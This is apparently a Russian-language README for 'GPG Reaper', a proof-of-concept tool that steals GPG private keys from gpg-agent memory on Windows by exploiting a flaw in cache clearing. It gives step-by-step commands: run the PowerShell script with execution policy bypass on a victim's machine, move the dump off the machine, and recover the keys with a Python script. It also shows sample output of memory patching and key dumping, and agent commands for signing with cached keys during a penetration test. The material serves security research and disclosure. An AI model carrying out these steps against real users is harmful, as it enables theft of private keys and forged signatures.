
GPG Reaper - Получить/Похитить/Восстановить приватные ключи GPG из кэша/памяти gpg-agent
TL;DR: Получение/Кража/Восстановление закрытых ключей GPG из кэша/памяти gpg-agent
Этот POC демонстрирует метод получения закрытых ключей GPG из памяти gpg-agent в Windows.
Обычно это возможно только в течение 10 минут (значение --default-cache-ttl).
К сожалению, функция housekeeping() (отвечающая за очистку кэша) выполняется только если вы используете GPG (там нет таймера).
Это означает, что в обычном сценарии использования GPG, например: вы подписываете файл, затем закрываете GUI и занимаетесь другими делами, ваш пароль все еще находится в памяти gpg-agent (даже если ttl истек).
Злоумышленник, имеющий доступ к вашей текущей сессии, может использовать это для кражи закрытого ключа, не зная вашей парольной фразы.
ПРИМЕЧАНИЕ: GPG изменит механизм кэширования в версии 2.2.6. Смотрите коммит и задачу.

pip install PGPy
Если вы получили:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then
тогда:
pip install six==1.10.0
1. Установите Gpg4Win 3.0.3
2. Откройте командную строку и запустите агент с временем кэширования 2 секунды:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Запустите Kleopatra и сгенерируйте новую пару ключей

4. Подпишите какой-нибудь пример тестового файла

5. Pinetry всплывет и попросит вас ввести парольную фразу

6. Повторите шаги 4-5. Каждый раз появляется pinetry, потому что наш кэш на 2 секунды истек.
7. Запустите GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Вы увидите что-то вроде:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Как видите, мы дампим ключ. Это стало возможным благодаря NOP-инструкциям в функции housekeeping.
8. Восстановите закрытый ключ:
python gpg_reaper.py .\testme.txt
Закрытый ключ дампится в файл:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent — это демон для управления закрытыми ключами независимо от какого-либо протокола.
GUI-интерфейс взаимодействует с агентом по протоколу Assuan Protocol.
По умолчанию агент кэширует ваши учетные данные.
Опция --default-cache-ttl n задает время действия записи в кэше в n секунд.
По умолчанию — 600 секунд. При каждом обращении к записи в кэше её таймер сбрасывается.
В Windows процесс подписи выглядит так:

Ключевой частью здесь является функция housekeeping(), отвечающая за удаление истекших учетных данных из памяти.
Но есть одна проблема: эта функция выполняется только в двух местах (внутри agent_put_cache и agent_get_cache).
Это означает, что кэшированные учетные данные НЕ удаляются из памяти до тех пор, пока не будут выполнены какие-либо команды gpg-agent, использующие agent_put_cache, agent_get_cache или agent_flush_cache.
На компьютере жертвы:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Перенесите out.txt на вашу машину и восстановите закрытые ключи:
gpg_reaper.py out.txt
Закрытые ключи будут выгружены в отдельные файлы.
Если GPG установлен вне стандартных каталогов:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Если вы не хотите видеть отладочные сообщения:
Gpg-Reaper -Verbose $false
Предположим, вы проводите тестирование на проникновение и получили оболочку на компьютере с установленным GPG.
Если вам повезло и пользователь недавно использовал GPG, а кэш ещё не истек, вы можете:
1. Подписать файл:
Запустите c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 сообщения
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. Экспортировать закрытый ключ:
Запустите c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
К сожалению, это не работает, как ожидалось, и запрашивает пароль.
Почему? Потому что функция cmd_export_key() выполняет agent_key_from_file() с флагом CACHE_MODE_IGNORE, что означает, что кэш не будет использоваться, и каждый раз пользователя просят ввести парольную фразу.
Мы знаем, что невозможно экспортировать ключ GPG через gpg-agent без знания пароля.
Но есть одна маленькая хитрость. У агента есть несколько опций:
1. --debug-level
Выберите уровень отладки для исследования проблем. Уровень может быть числовым значением или ключевым словом:
guru — все возможные отладочные сообщения.
2. --log-file file